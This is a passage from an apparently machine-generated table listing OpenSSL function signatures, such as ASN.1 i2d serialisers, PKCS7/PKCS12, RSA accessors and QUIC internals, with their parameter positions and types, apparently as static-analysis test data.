OSSL_STORE_SEARCH_get0_bytes | 1 | size_t * | +| (const OSSL_TARGET *,unsigned char **) | | i2d_OSSL_TARGET | 0 | const OSSL_TARGET * | +| (const OSSL_TARGET *,unsigned char **) | | i2d_OSSL_TARGET | 1 | unsigned char ** | +| (const OSSL_TARGETING_INFORMATION *,unsigned char **) | | i2d_OSSL_TARGETING_INFORMATION | 0 | const OSSL_TARGETING_INFORMATION * | +| (const OSSL_TARGETING_INFORMATION *,unsigned char **) | | i2d_OSSL_TARGETING_INFORMATION | 1 | unsigned char ** | +| (const OSSL_TARGETS *,unsigned char **) | | i2d_OSSL_TARGETS | 0 | const OSSL_TARGETS * | +| (const OSSL_TARGETS *,unsigned char **) | | i2d_OSSL_TARGETS | 1 | unsigned char ** | +| (const OSSL_TIME_PERIOD *,unsigned char **) | | i2d_OSSL_TIME_PERIOD | 0 | const OSSL_TIME_PERIOD * | +| (const OSSL_TIME_PERIOD *,unsigned char **) | | i2d_OSSL_TIME_PERIOD | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC *,unsigned char **) | | i2d_OSSL_TIME_SPEC | 0 | const OSSL_TIME_SPEC * | +| (const OSSL_TIME_SPEC *,unsigned char **) | | i2d_OSSL_TIME_SPEC | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **) | | i2d_OSSL_TIME_SPEC_ABSOLUTE | 0 | const OSSL_TIME_SPEC_ABSOLUTE * | +| (const OSSL_TIME_SPEC_ABSOLUTE *,unsigned char **) | | i2d_OSSL_TIME_SPEC_ABSOLUTE | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_DAY *,unsigned char **) | | i2d_OSSL_TIME_SPEC_DAY | 0 | const OSSL_TIME_SPEC_DAY * | +| (const OSSL_TIME_SPEC_DAY *,unsigned char **) | | i2d_OSSL_TIME_SPEC_DAY | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_MONTH *,unsigned char **) | | i2d_OSSL_TIME_SPEC_MONTH | 0 | const OSSL_TIME_SPEC_MONTH * | +| (const OSSL_TIME_SPEC_MONTH *,unsigned char **) | | i2d_OSSL_TIME_SPEC_MONTH | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_TIME *,unsigned char **) | | i2d_OSSL_TIME_SPEC_TIME | 0 | const OSSL_TIME_SPEC_TIME * | +| (const OSSL_TIME_SPEC_TIME *,unsigned char **) | | i2d_OSSL_TIME_SPEC_TIME | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_WEEKS *,unsigned char **) | | i2d_OSSL_TIME_SPEC_WEEKS | 0 | const OSSL_TIME_SPEC_WEEKS * | +| (const OSSL_TIME_SPEC_WEEKS *,unsigned char **) | | i2d_OSSL_TIME_SPEC_WEEKS | 1 | unsigned char ** | +| (const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **) | | i2d_OSSL_TIME_SPEC_X_DAY_OF | 0 | const OSSL_TIME_SPEC_X_DAY_OF * | +| (const OSSL_TIME_SPEC_X_DAY_OF *,unsigned char **) | | i2d_OSSL_TIME_SPEC_X_DAY_OF | 1 | unsigned char ** | +| (const OSSL_USER_NOTICE_SYNTAX *,unsigned char **) | | i2d_OSSL_USER_NOTICE_SYNTAX | 0 | const OSSL_USER_NOTICE_SYNTAX * | +| (const OSSL_USER_NOTICE_SYNTAX *,unsigned char **) | | i2d_OSSL_USER_NOTICE_SYNTAX | 1 | unsigned char ** | +| (const OTHERNAME *,unsigned char **) | | i2d_OTHERNAME | 0 | const OTHERNAME * | +| (const OTHERNAME *,unsigned char **) | | i2d_OTHERNAME | 1 | unsigned char ** | +| (const PACKET *,uint64_t *) | | ossl_quic_wire_peek_frame_ack_num_ranges | 0 | const PACKET * | +| (const PACKET *,uint64_t *) | | ossl_quic_wire_peek_frame_ack_num_ranges | 1 | uint64_t * | +| (const PBE2PARAM *,unsigned char **) | | i2d_PBE2PARAM | 0 | const PBE2PARAM * | +| (const PBE2PARAM *,unsigned char **) | | i2d_PBE2PARAM | 1 | unsigned char ** | +| (const PBEPARAM *,unsigned char **) | | i2d_PBEPARAM | 0 | const PBEPARAM * | +| (const PBEPARAM *,unsigned char **) | | i2d_PBEPARAM | 1 | unsigned char ** | +| (const PBKDF2PARAM *,unsigned char **) | | i2d_PBKDF2PARAM | 0 | const PBKDF2PARAM * | +| (const PBKDF2PARAM *,unsigned char **) | | i2d_PBKDF2PARAM | 1 | unsigned char ** | +| (const PBMAC1PARAM *,unsigned char **) | | i2d_PBMAC1PARAM | 0 | const PBMAC1PARAM * | +| (const PBMAC1PARAM *,unsigned char **) | | i2d_PBMAC1PARAM | 1 | unsigned char ** | +| (const PKCS7 *) | | PKCS7_dup | 0 | const PKCS7 * | +| (const PKCS7 *) | | ossl_pkcs7_get0_ctx | 0 | const PKCS7 * | +| (const PKCS7 *,PKCS7 *) | | ossl_pkcs7_ctx_propagate | 0 | const PKCS7 * | +| (const PKCS7 *,PKCS7 *) | | ossl_pkcs7_ctx_propagate | 1 | PKCS7 * | +| (const PKCS7 *,unsigned char **) | | i2d_PKCS7 | 0 | const PKCS7 * | +| (const PKCS7 *,unsigned char **) | | i2d_PKCS7 | 1 | unsigned char ** | +| (const PKCS7 *,unsigned char **) | | i2d_PKCS7_NDEF | 0 | const PKCS7 * | +| (const PKCS7 *,unsigned char **) | | i2d_PKCS7_NDEF | 1 | unsigned char ** | +| (const PKCS7_CTX *) | | ossl_pkcs7_ctx_get0_libctx | 0 | const PKCS7_CTX * | +| (const PKCS7_CTX *) | | ossl_pkcs7_ctx_get0_propq | 0 | const PKCS7_CTX * | +| (const PKCS7_DIGEST *,unsigned char **) | | i2d_PKCS7_DIGEST | 0 | const PKCS7_DIGEST * | +| (const PKCS7_DIGEST *,unsigned char **) | | i2d_PKCS7_DIGEST | 1 | unsigned char ** | +| (const PKCS7_ENCRYPT *,unsigned char **) | | i2d_PKCS7_ENCRYPT | 0 | const PKCS7_ENCRYPT * | +| (const PKCS7_ENCRYPT *,unsigned char **) | | i2d_PKCS7_ENCRYPT | 1 | unsigned char ** | +| (const PKCS7_ENC_CONTENT *,unsigned char **) | | i2d_PKCS7_ENC_CONTENT | 0 | const PKCS7_ENC_CONTENT * | +| (const PKCS7_ENC_CONTENT *,unsigned char **) | | i2d_PKCS7_ENC_CONTENT | 1 | unsigned char ** | +| (const PKCS7_ENVELOPE *,unsigned char **) | | i2d_PKCS7_ENVELOPE | 0 | const PKCS7_ENVELOPE * | +| (const PKCS7_ENVELOPE *,unsigned char **) | | i2d_PKCS7_ENVELOPE | 1 | unsigned char ** | +| (const PKCS7_ISSUER_AND_SERIAL *,unsigned char **) | | i2d_PKCS7_ISSUER_AND_SERIAL | 0 | const PKCS7_ISSUER_AND_SERIAL * | +| (const PKCS7_ISSUER_AND_SERIAL *,unsigned char **) | | i2d_PKCS7_ISSUER_AND_SERIAL | 1 | unsigned char ** | +| (const PKCS7_RECIP_INFO *,unsigned char **) | | i2d_PKCS7_RECIP_INFO | 0 | const PKCS7_RECIP_INFO * | +| (const PKCS7_RECIP_INFO *,unsigned char **) | | i2d_PKCS7_RECIP_INFO | 1 | unsigned char ** | +| (const PKCS7_SIGNED *,unsigned char **) | | i2d_PKCS7_SIGNED | 0 | const PKCS7_SIGNED * | +| (const PKCS7_SIGNED *,unsigned char **) | | i2d_PKCS7_SIGNED | 1 | unsigned char ** | +| (const PKCS7_SIGNER_INFO *,unsigned char **) | | i2d_PKCS7_SIGNER_INFO | 0 | const PKCS7_SIGNER_INFO * | +| (const PKCS7_SIGNER_INFO *,unsigned char **) | | i2d_PKCS7_SIGNER_INFO | 1 | unsigned char ** | +| (const PKCS7_SIGN_ENVELOPE *,unsigned char **) | | i2d_PKCS7_SIGN_ENVELOPE | 0 | const PKCS7_SIGN_ENVELOPE * | +| (const PKCS7_SIGN_ENVELOPE *,unsigned char **) | | i2d_PKCS7_SIGN_ENVELOPE | 1 | unsigned char ** | +| (const PKCS8_PRIV_KEY_INFO *) | | EVP_PKCS82PKEY | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *) | | PKCS8_pkey_get0_attrs | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | EVP_PKCS82PKEY_ex | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | EVP_PKCS82PKEY_ex | 1 | OSSL_LIB_CTX * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | EVP_PKCS82PKEY_ex | 2 | const char * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_from_pkcs8 | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_from_pkcs8 | 1 | OSSL_LIB_CTX * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ec_key_from_pkcs8 | 2 | const char * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_from_pkcs8 | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_from_pkcs8 | 1 | OSSL_LIB_CTX * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_ecx_key_from_pkcs8 | 2 | const char * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_rsa_key_from_pkcs8 | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_rsa_key_from_pkcs8 | 1 | OSSL_LIB_CTX * | +| (const PKCS8_PRIV_KEY_INFO *,OSSL_LIB_CTX *,const char *) | | ossl_rsa_key_from_pkcs8 | 2 | const char * | +| (const PKCS8_PRIV_KEY_INFO *,unsigned char **) | | i2d_PKCS8_PRIV_KEY_INFO | 0 | const PKCS8_PRIV_KEY_INFO * | +| (const PKCS8_PRIV_KEY_INFO *,unsigned char **) | | i2d_PKCS8_PRIV_KEY_INFO | 1 | unsigned char ** | +| (const PKCS12 *) | | ossl_pkcs12_get0_pkcs7ctx | 0 | const PKCS12 * | +| (const PKCS12 *,unsigned char **) | | i2d_PKCS12 | 0 | const PKCS12 * | +| (const PKCS12 *,unsigned char **) | | i2d_PKCS12 | 1 | unsigned char ** | +| (const PKCS12_BAGS *,unsigned char **) | | i2d_PKCS12_BAGS | 0 | const PKCS12_BAGS * | +| (const PKCS12_BAGS *,unsigned char **) | | i2d_PKCS12_BAGS | 1 | unsigned char ** | +| (const PKCS12_MAC_DATA *,unsigned char **) | | i2d_PKCS12_MAC_DATA | 0 | const PKCS12_MAC_DATA * | +| (const PKCS12_MAC_DATA *,unsigned char **) | | i2d_PKCS12_MAC_DATA | 1 | unsigned char ** | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_attrs | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_p8inf | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_pkcs8 | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_safes | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get0_type | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *) | | PKCS12_SAFEBAG_get_nid | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_cert_ex | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_cert_ex | 1 | OSSL_LIB_CTX * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_cert_ex | 2 | const char * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_crl_ex | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_crl_ex | 1 | OSSL_LIB_CTX * | +| (const PKCS12_SAFEBAG *,OSSL_LIB_CTX *,const char *) | | PKCS12_SAFEBAG_get1_crl_ex | 2 | const char * | +| (const PKCS12_SAFEBAG *,unsigned char **) | | i2d_PKCS12_SAFEBAG | 0 | const PKCS12_SAFEBAG * | +| (const PKCS12_SAFEBAG *,unsigned char **) | | i2d_PKCS12_SAFEBAG | 1 | unsigned char ** | +| (const PKEY_USAGE_PERIOD *,unsigned char **) | | i2d_PKEY_USAGE_PERIOD | 0 | const PKEY_USAGE_PERIOD * | +| (const PKEY_USAGE_PERIOD *,unsigned char **) | | i2d_PKEY_USAGE_PERIOD | 1 | unsigned char ** | +| (const POLICYINFO *,unsigned char **) | | i2d_POLICYINFO | 0 | const POLICYINFO * | +| (const POLICYINFO *,unsigned char **) | | i2d_POLICYINFO | 1 | unsigned char ** | +| (const POLICYQUALINFO *,unsigned char **) | | i2d_POLICYQUALINFO | 0 | const POLICYQUALINFO * | +| (const POLICYQUALINFO *,unsigned char **) | | i2d_POLICYQUALINFO | 1 | unsigned char ** | +| (const POLY *,const POLY *,POLY *) | | ossl_ml_dsa_poly_ntt_mult | 0 | const POLY * | +| (const POLY *,const POLY *,POLY *) | | ossl_ml_dsa_poly_ntt_mult | 1 | const POLY * | +| (const POLY *,const POLY *,POLY *) | | ossl_ml_dsa_poly_ntt_mult | 2 | POLY * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_addProfessionInfo | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_namingAuthority | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_professionItems | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_professionOIDs | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *) | | PROFESSION_INFO_get0_registrationNumber | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *,unsigned char **) | | i2d_PROFESSION_INFO | 0 | const PROFESSION_INFO * | +| (const PROFESSION_INFO *,unsigned char **) | | i2d_PROFESSION_INFO | 1 | unsigned char ** | +| (const PROV_CIPHER *) | | ossl_prov_cipher_cipher | 0 | const PROV_CIPHER * | +| (const PROV_CIPHER *) | | ossl_prov_cipher_engine | 0 | const PROV_CIPHER * | +| (const PROV_DIGEST *) | | ossl_prov_digest_engine | 0 | const PROV_DIGEST * | +| (const PROV_DIGEST *) | | ossl_prov_digest_md | 0 | const PROV_DIGEST * | +| (const PROXY_CERT_INFO_EXTENSION *,unsigned char **) | | i2d_PROXY_CERT_INFO_EXTENSION | 0 | const PROXY_CERT_INFO_EXTENSION * | +| (const PROXY_CERT_INFO_EXTENSION *,unsigned char **) | | i2d_PROXY_CERT_INFO_EXTENSION | 1 | unsigned char ** | +| (const PROXY_POLICY *,unsigned char **) | | i2d_PROXY_POLICY | 0 | const PROXY_POLICY * | +| (const PROXY_POLICY *,unsigned char **) | | i2d_PROXY_POLICY | 1 | unsigned char ** | +| (const QLOG_TRACE_INFO *) | | ossl_qlog_new | 0 | const QLOG_TRACE_INFO * | +| (const QLOG_TRACE_INFO *) | | ossl_qlog_new_from_env | 0 | const QLOG_TRACE_INFO * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_encoded | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_encoded_len | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_frame_type | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_pn_space | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_get_state | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *) | | ossl_quic_cfq_item_is_unreliable | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_item_get_priority_next | 0 | const QUIC_CFQ_ITEM * | +| (const QUIC_CFQ_ITEM *,uint32_t) | | ossl_quic_cfq_item_get_priority_next | 1 | uint32_t | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_get_max_idle_timeout_actual | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_get_max_idle_timeout_peer_request | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_get_max_idle_timeout_request | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_get_terminate_cause | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_have_generated_transport_params | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_is_handshake_complete | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *) | | ossl_quic_channel_is_handshake_confirmed | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_local_stream_count_avail | 1 | int | +| (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 0 | const QUIC_CHANNEL * | +| (const QUIC_CHANNEL *,int) | | ossl_quic_channel_get_remote_stream_count_avail | 1 | int | +| (const QUIC_CHANNEL_ARGS *) | | ossl_quic_channel_alloc | 0 | const QUIC_CHANNEL_ARGS * | +| (const QUIC_CONN_ID *) | | ossl_quic_rcidm_new | 0 | const QUIC_CONN_ID * | +| (const QUIC_DEMUX *) | | ossl_quic_demux_has_pending | 0 | const QUIC_DEMUX * | +| (const QUIC_ENGINE_ARGS *) | | ossl_quic_engine_new | 0 | const QUIC_ENGINE_ARGS * | +| (const QUIC_LCIDM *) | | ossl_quic_lcidm_get_lcid_len | 0 | const QUIC_LCIDM * | +| (const QUIC_OBJ *) | | ossl_quic_obj_desires_blocking | 0 | const QUIC_OBJ * | +| (const QUIC_PORT *) | | ossl_quic_port_get_num_incoming_channels | 0 | const QUIC_PORT * | +| (const QUIC_PORT *) | | ossl_quic_port_get_rx_short_dcid_len | 0 | const QUIC_PORT * | +| (const QUIC_PORT *) | | ossl_quic_port_get_tx_init_dcid_len | 0 | const QUIC_PORT * | +| (const QUIC_PORT *) | | ossl_quic_port_is_addressed_r | 0 | const QUIC_PORT * | +| (const QUIC_PORT *) | | ossl_quic_port_is_addressed_w | 0 | const QUIC_PORT * | +| (const QUIC_PORT_ARGS *) | | ossl_quic_port_new | 0 | const QUIC_PORT_ARGS * | +| (const QUIC_RCIDM *) | | ossl_quic_rcidm_get_num_active | 0 | const QUIC_RCIDM * | +| (const QUIC_RCIDM *) | | ossl_quic_rcidm_get_num_retiring | 0 | const QUIC_RCIDM * | +| (const QUIC_REACTOR *) | | ossl_quic_reactor_can_poll_r | 0 | const QUIC_REACTOR * | +| (const QUIC_REACTOR *) | | ossl_quic_reactor_can_poll_w | 0 | const QUIC_REACTOR * | +| (const QUIC_REACTOR *) | | ossl_quic_reactor_get_poll_r | 0 | const QUIC_REACTOR * | +| (const QUIC_REACTOR *) | | ossl_quic_reactor_get_poll_w | 0 | const QUIC_REACTOR * | +| (const QUIC_RXFC *) | | ossl_quic_rxfc_get_credit | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *) | | ossl_quic_rxfc_get_cwm | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *) | | ossl_quic_rxfc_get_rwm | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *) | | ossl_quic_rxfc_get_swm | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *,uint64_t *) | | ossl_quic_rxfc_get_final_size | 0 | const QUIC_RXFC * | +| (const QUIC_RXFC *,uint64_t *) | | ossl_quic_rxfc_get_final_size | 1 | uint64_t * | +| (const QUIC_TLS_ARGS *) | | ossl_quic_tls_new | 0 | const QUIC_TLS_ARGS * | +| (const QUIC_TSERVER *) | | ossl_quic_tserver_get_terminate_cause | 0 | const QUIC_TSERVER * | +| (const QUIC_TSERVER *) | | ossl_quic_tserver_is_handshake_confirmed | 0 | const QUIC_TSERVER * | +| (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 0 | const QUIC_TSERVER_ARGS * | +| (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 1 | const char * | +| (const QUIC_TSERVER_ARGS *,const char *,const char *) | | ossl_quic_tserver_new | 2 | const char * | +| (const QUIC_TXPIM *) | | ossl_quic_txpim_get_in_use | 0 | const QUIC_TXPIM * | +| (const QUIC_TXPIM_PKT *) | | ossl_quic_txpim_pkt_get_chunks | 0 | const QUIC_TXPIM_PKT * | +| (const QUIC_TXPIM_PKT *) | | ossl_quic_txpim_pkt_get_num_chunks | 0 | const QUIC_TXPIM_PKT * | +| (const RSA *) | | RSAPrivateKey_dup | 0 | const RSA * | +| (const RSA *) | | RSAPublicKey_dup | 0 | const RSA * | +| (const RSA *) | | RSA_bits | 0 | const RSA * | +| (const RSA *) | | RSA_flags | 0 | const RSA * | +| (const RSA *) | | RSA_get0_d | 0 | const RSA * | +| (const RSA *) | | RSA_get0_dmp1 | 0 | const RSA * | +| (const RSA *) | | RSA_get0_dmq1 | 0 | const RSA * | +| (const RSA *) | | RSA_get0_e | 0 | const RSA * | +| (const RSA *) | | RSA_get0_engine | 0 | const RSA * | +| (const RSA *) | | RSA_get0_iqmp | 0 | const RSA * | +| (const RSA *) | | RSA_get0_n | 0 | const RSA * | +| (const RSA *) | | RSA_get0_p | 0 | const RSA * | +| (const RSA *) | | RSA_get0_pss_params | 0 | const RSA * | +| (const RSA *) | | RSA_get0_q | 0 | const RSA * | +| (const RSA *) | | RSA_get_method | 0 | const RSA * | +| (const RSA *) | | RSA_get_multi_prime_extra_count | 0 | const RSA * | +| (const RSA *) | | RSA_size | 0 | const RSA * | +| (const RSA *,BN_CTX *) | | ossl_rsa_check_crt_components | 0 | const RSA * | +| (const RSA *,BN_CTX *) | | ossl_rsa_check_crt_components | 1 | BN_CTX * | +| (const RSA *,const BIGNUM **,const BIGNUM **) | | RSA_get0_factors | 0 | const RSA * | +| (const RSA *,const BIGNUM **,const BIGNUM **) | | RSA_get0_factors | 1 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **) | | RSA_get0_factors | 2 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_crt_params | 0 | const RSA * | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_crt_params | 1 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_crt_params | 2 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_crt_params | 3 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_key | 0 | const RSA * | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_key | 1 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_key | 2 | const BIGNUM ** | +| (const RSA *,const BIGNUM **,const BIGNUM **,const BIGNUM **) | | RSA_get0_key | 3 | const BIGNUM ** | +| (const RSA *,int) | | RSA_get_ex_data | 0 | const RSA * | +| (const RSA *,int) | | RSA_get_ex_data | 1 | int | +| (const RSA *,int) | | RSA_test_flags | 0 | const RSA * | +| (const RSA *,int) | | RSA_test_flags | 1 | int | +| (const RSA *,int) | | ossl_rsa_dup | 0 | const RSA * | +| (const RSA *,int) | | ossl_rsa_dup | 1 | int | +| (const RSA *,unsigned char **) | | i2d_RSAPrivateKey | 0 | const RSA * | +| (const RSA *,unsigned char **) | | i2d_RSAPrivateKey | 1 | unsigned char ** | +| (const RSA *,unsigned char **) | | i2d_RSAPublicKey | 0 | const RSA * | +| (const RSA *,unsigned char **) | | i2d_RSAPublicKey | 1 | unsigned char ** | +| (const RSA *,unsigned char **) | | i2d_RSA_PUBKEY | 0 | const RSA * | +| (const RSA *,unsigned char **) | | i2d_RSA_PUBKEY | 1 | unsigned char ** | +| (const RSA_METHOD *) | | RSA_meth_dup | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get0_app_data | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get0_name | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_bn_mod_exp | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_finish | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_flags | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_init | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_keygen | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_mod_exp | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_multi_prime_keygen | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_priv_dec | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_priv_enc | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_pub_dec | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_pub_enc | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_sign | 0 | const RSA_METHOD * | +| (const RSA_METHOD *) | | RSA_meth_get_verify | 0 | const RSA_METHOD * | +| (const RSA_OAEP_PARAMS *,unsigned char **) | | i2d_RSA_OAEP_PARAMS | 0 | const RSA_OAEP_PARAMS * | +| (const RSA_OAEP_PARAMS *,unsigned char **) | | i2d_RSA_OAEP_PARAMS | 1 | unsigned char ** | +| (const RSA_PSS_PARAMS *) | | RSA_PSS_PARAMS_dup | 0 | const RSA_PSS_PARAMS * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *) | | ossl_rsa_pss_get_param | 0 | const RSA_PSS_PARAMS * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *) | | ossl_rsa_pss_get_param | 1 | const EVP_MD ** | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *) | | ossl_rsa_pss_get_param | 2 | const EVP_MD ** | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *) | | ossl_rsa_pss_get_param | 3 | int * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 0 | const RSA_PSS_PARAMS * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 1 | const EVP_MD ** | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 2 | const EVP_MD ** | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 3 | int * | +| (const RSA_PSS_PARAMS *,const EVP_MD **,const EVP_MD **,int *,int *) | | ossl_rsa_pss_get_param_unverified | 4 | int * | +| (const RSA_PSS_PARAMS *,unsigned char **) | | i2d_RSA_PSS_PARAMS | 0 | const RSA_PSS_PARAMS * | +| (const RSA_PSS_PARAMS *,unsigned char **) | | i2d_RSA_PSS_PARAMS | 1 | unsigned char ** | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_hashalg | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_maskgenalg | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_maskgenhashalg | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_saltlen | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *) | | ossl_rsa_pss_params_30_trailerfield | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_rsa_pss_params_30_todata | 0 | const RSA_PSS_PARAMS_30 * | +| (const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_rsa_pss_params_30_todata | 1 | OSSL_PARAM_BLD * | +| (const RSA_PSS_PARAMS_30 *,OSSL_PARAM_BLD *,OSSL_PARAM[]) | | ossl_rsa_pss_params_30_todata | 2 | OSSL_PARAM[] | | (const SAFEARRAY &) | CComSafeArray | CComSafeArray | 0 | const SAFEARRAY & | | (const SAFEARRAY *) | CComSafeArray | Add | 